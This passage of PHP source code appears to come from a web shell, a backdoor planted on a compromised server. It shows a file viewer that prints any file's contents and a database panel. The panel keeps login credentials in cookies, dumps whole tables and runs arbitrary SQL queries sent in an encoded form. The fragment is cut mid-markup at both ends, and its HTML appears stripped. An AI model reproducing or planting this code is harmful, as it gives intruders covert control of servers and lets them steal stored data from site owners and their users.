".highlight_string(file_get_contents($default_dir . $pemisah . $namaBerkas), true)."
";
}
}
else if($awal == 'skl')
{
$host = isset($_COOKIE['host']) ? $_COOKIE['host'] : '';
$user = isset($_COOKIE['user']) ? $_COOKIE['user'] : '';
$sandi = isset($_COOKIE['sandi']) ? $_COOKIE['sandi'] : '';
$database = isset($_COOKIE['database']) ? $_COOKIE['database'] : '';
if( isset($_POST['host'] , $_POST['user'] , $_POST['sandi'])
&& is_string($_POST['host']) && is_string($_POST['user']) && is_string($_POST['sandi'])
)
{
$host = $_POST['host'];
$user = $_POST['user'];
$sandi = $_POST['sandi'];
$database = '';
setcookie('host' , $host , time() + 360000);
setcookie('user' , $user , time() + 360000);
setcookie('sandi' , $sandi , time() + 360000);
setcookie('database' , $database , time() + 360000);
}
if( isset($_POST['database']) && is_string($_POST['database']) )
{
$database = $_POST['database'];
setcookie('database' , $database , time() + 360000);
}
$databaseStr = empty($database) ? '' : 'dbname=' . $database . ';';
?>
';
if( isset($_POST['t']) && is_string($_POST['t']) && !empty($_POST['t']) )
{
$tableName = uraikan(urldecode($_POST['t']));
print '
Table: ' . htmlspecialchars($tableName) . ' (
Dump )
';
$getColumns = $pdo->prepare("SELECT column_name from information_schema.columns where table_schema=? and table_name=?");
$getColumns->execute(array($database , $tableName));
$columns = $getColumns->fetchAll();
if( $columns )
{
$dataCount = $pdo->query('SELECT count(0) AS ss from `' . $tableName . '`');
$dataCount = (int)$dataCount->fetchColumn();
print '
Count: ' . $dataCount . '
';
$pages = ceil($dataCount / 100);
$currentPage = isset($_POST['halaman']) && is_numeric($_POST['halaman']) && $_POST['halaman'] >= 1 && $_POST['halaman'] <= $pages ? (int)$_POST['halaman'] : 1;
for ( $p = 1; $p <= $pages; $p++ )
{
print '
' . $p . ' ';
}
print '
';
$start = 100 * ($currentPage - 1);
$data = $pdo->query('SELECT * FROM `' . $tableName .'` LIMIT '.$start.' , 100');
$data = $data->fetchAll();
print '
';
foreach( $columns AS $columnInf )
{
print '' . htmlspecialchars($columnInf['column_name']) . ' | ';
}
print '';
foreach( $data AS $row )
{
print '';
foreach( $row AS $key=>$val )
{
print '' . $val . ' | ';
}
print '
';
}
print '
';
}
else
{
print 'Table not found!';
}
}
else if ( isset($_POST['emr']) && is_string($_POST['emr']) && !empty($_POST['emr']) )
{
$emr = uraikan(urldecode($_POST['emr']));
print '
SQL emr: ' . htmlspecialchars($emr) . '
';
$data = $pdo->query( $emr );
$data = $data->fetchAll();
print '
';
if( count($data) > 0 )
{
print '';
foreach( $data[0] AS $key=>$val )
{
print '' . $key . ' | ';
}
print '
';
}
print '';
foreach( $data AS $row )
{
print '';
foreach( $row AS $key=>$val )
{
print '' . $val . ' | ';
}
print '
';
}
print '
';
}
print '
';
print '
';
print '